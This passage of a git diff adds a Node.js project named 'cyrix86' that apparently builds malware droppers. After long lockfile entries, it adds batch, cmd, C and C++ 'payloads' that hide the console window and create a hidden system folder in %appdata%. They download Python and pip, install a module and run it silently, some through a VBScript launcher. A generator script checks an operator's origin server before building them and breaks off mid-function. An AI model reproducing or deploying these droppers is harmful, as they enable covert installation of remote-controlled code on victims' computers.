"sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/nodemon/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/nopt": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz", + "integrity": "sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==", + "dev": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/octavia-db": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/octavia-db/-/octavia-db-1.0.0.tgz", + "integrity": "sha512-+Y2KYxZrLXZsnnsFpitzFr1LdgSPf2kTdGRzAhaxC9Q24yJ3KjZTb+RZ/Nh+EOvaLNwItAX0t3rOgIfqiUOK6Q==" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/pstree.remy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz", + "integrity": "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==", + "dev": true + }, + "node_modules/qs": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/simple-update-notifier": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", + "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", + "dev": true, + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/socket.io": { + "version": "4.7.5", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.7.5.tgz", + "integrity": "sha512-DmeAkF6cwM9jSfmp6Dr/5/mfMwb5Z5qRrSXLpo3Fq5SqyU8CMF15jIN4ZhfSwu35ksM1qmHZDQ/DK5XTccSTvA==", + "dependencies": { + "accepts": "~1.3.4", + "base64id": "~2.0.0", + "cors": "~2.8.5", + "debug": "~4.3.2", + "engine.io": "~6.5.2", + "socket.io-adapter": "~2.5.2", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.2.0" + } + }, + "node_modules/socket.io-adapter": { + "version": "2.5.4", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.4.tgz", + "integrity": "sha512-wDNHGXGewWAjQPt3pyeYBtpWSq9cLE5UW1ZUPL/2eGK9jtse/FpXib7epSTsz0Q0m+6sg6Y4KtcFTlah1bdOVg==", + "dependencies": { + "debug": "~4.3.4", + "ws": "~8.11.0" + } + }, + "node_modules/socket.io-adapter/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-adapter/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/socket.io-parser": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz", + "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-parser/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/socket.io/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/streamsearch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", + "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/touch": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", + "integrity": "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==", + "dev": true, + "dependencies": { + "nopt": "~1.0.10" + }, + "bin": { + "nodetouch": "bin/nodetouch.js" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/undefsafe": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/undefsafe/-/undefsafe-2.0.5.tgz", + "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==", + "dev": true + }, + "node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/ws": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.11.0.tgz", + "integrity": "sha512-HPG3wQd9sNQoT9xHyNCXoDUa+Xw/VevmY9FoHyQ+g+rrMn4j6FB4np7Z0OhdTgjx6MgQLK7jwSy1YecU1+4Asg==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..be3149d --- /dev/null +++ b/package.json @@ -0,0 +1,25 @@ +{ + "name": "cyrix86", + "version": "1.0.0", + "description": "", + "main": "server.js", + "scripts": { + "test": "nodemon server.js", + "start": "node server.js" + }, + "author": "madhanmaaz", + "license": "ISC", + "dependencies": { + "axios": "^1.6.8", + "cookie-parser": "^1.4.6", + "ejs": "^3.1.9", + "express": "^4.19.2", + "express-fileupload": "^1.5.0", + "octavia-db": "^1.0.0", + "socket.io": "^4.7.5", + "uuid": "^9.0.1" + }, + "devDependencies": { + "nodemon": "^3.1.0" + } +} diff --git a/payloads/bat/main.bat b/payloads/bat/main.bat new file mode 100644 index 0000000..fb0e6a9 --- /dev/null +++ b/payloads/bat/main.bat @@ -0,0 +1,2 @@ +@REM python installer +ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS) \ No newline at end of file diff --git a/payloads/bat/main2.bat b/payloads/bat/main2.bat new file mode 100644 index 0000000..862a7a1 --- /dev/null +++ b/payloads/bat/main2.bat @@ -0,0 +1,2 @@ +@REM python installer +cd %appdata% & echo CreateObject("WScript.Shell").run "cmd /c ADDON if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)", 0 > python.vbs & cscript python.vbs \ No newline at end of file diff --git a/payloads/c/main.c b/payloads/c/main.c new file mode 100644 index 0000000..19e027f --- /dev/null +++ b/payloads/c/main.c @@ -0,0 +1,15 @@ +#include +#include +int main() +{ + ShowWindow(GetConsoleWindow(), 0); + char cmd[1024]; + snprintf(cmd, sizeof(cmd), "ADDON cd %%appdata%% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)"); + FILE *pipe = _popen(cmd, "r"); + char buffer[128]; + while (fgets(buffer, sizeof(buffer), pipe) != NULL) + { + } + _pclose(pipe); + return 0; +} \ No newline at end of file diff --git a/payloads/cmd/main.cmd b/payloads/cmd/main.cmd new file mode 100644 index 0000000..fb0e6a9 --- /dev/null +++ b/payloads/cmd/main.cmd @@ -0,0 +1,2 @@ +@REM python installer +ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS) \ No newline at end of file diff --git a/payloads/cmd/main2.cmd b/payloads/cmd/main2.cmd new file mode 100644 index 0000000..073310e --- /dev/null +++ b/payloads/cmd/main2.cmd @@ -0,0 +1,2 @@ +@REM python installer +cd %appdata% & echo CreateObject("WScript.Shell").run "cmd /c ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)", 0 > python.vbs & cscript python.vbs \ No newline at end of file diff --git a/payloads/cpp/main.cpp b/payloads/cpp/main.cpp new file mode 100644 index 0000000..d8abcd8 --- /dev/null +++ b/payloads/cpp/main.cpp @@ -0,0 +1,16 @@ +#include +#include +using namespace std; +int main() +{ + ::ShowWindow(::GetConsoleWindow(), SW_HIDE); + string d = "ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)"; + const char *c = d.c_str(); + FILE *s = popen(c, "r"); + char b[1024]; + while (fgets(b, 1024, s)) + { + } + pclose(s); + return 0; +} \ No newline at end of file diff --git a/payloads/cpp/main2.cpp b/payloads/cpp/main2.cpp new file mode 100644 index 0000000..d1c2fa0 --- /dev/null +++ b/payloads/cpp/main2.cpp @@ -0,0 +1,36 @@ +#include +#include +#include +using namespace std; + +void p(string t) +{ + const char *c = t.c_str(); + FILE *s = popen(c, "r"); + char b[1024]; + while (fgets(b, 1024, s)) + { + } + pclose(s); +} + +int main() +{ + string r = "RANDOMFOLDER"; + ::ShowWindow(::GetConsoleWindow(), SW_HIDE); + p("ADDON"); + filesystem::current_path(getenv("APPDATA")); + if (filesystem::exists(r)) + { + filesystem::current_path(r); + p("python -m RUNMODULENAME ARGS"); + } + else + { + filesystem::create_directory(r); + p("attrib +h +s +r " + r); + filesystem::current_path(r); + p("curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS"); + } + return 0; +} diff --git a/payloads/creator.js b/payloads/creator.js new file mode 100644 index 0000000..cc64091 --- /dev/null +++ b/payloads/creator.js @@ -0,0 +1,101 @@ +const { randomString, addOnCode } = require("../utils/payload-helpers") +const { constants } = require("../utils/server-helpers") +const { execSync } = require("child_process") +const { default: axios } = require("axios") +const payloads = require("./payloads") +const path = require("path") +const fs = require("fs") + + +const INSTALLMODULENAME = `cyrix86b` +const RUNMODULENAME = `cyrix86` + +async function generatePayload(body) { + if (body.origin.endsWith("/")) { + body.origin = body.origin.slice(0, body.origin.length - 1) + } + + // other exceptions + body.filename = body.filename.replaceAll(".exe", "") + body.filename = body.filename.replaceAll(".", "_") + body.filename = body.filename.replaceAll(" ", "_") + body.filename = body.filename.replaceAll("-", "_") + body.origin = body.origin.replaceAll(" ", "") + + // checking origin if it is online + try { + if ((await axios.get(`${body.origin}/cyrix86`)).data != "cyrix-OK") { + sendLog(1, "Cyrix86 origin get failed. Enter valid cyrix86 origin url") + return + } + + if (body.origin.includes("localhost") || body.origin.includes("127.0.0.1")) { + sendLog(0, "Warning this is local origin") + } + sendLog(0, "Cyrix86 origin get success") + } catch (error) { + sendLog(1, "Cyrix86 origin get failed. Enter valid cyrix86 origin url") + return + } + + sendLog(0, `Creating ${body.payload} payload.`) + + // generating deliverer + const 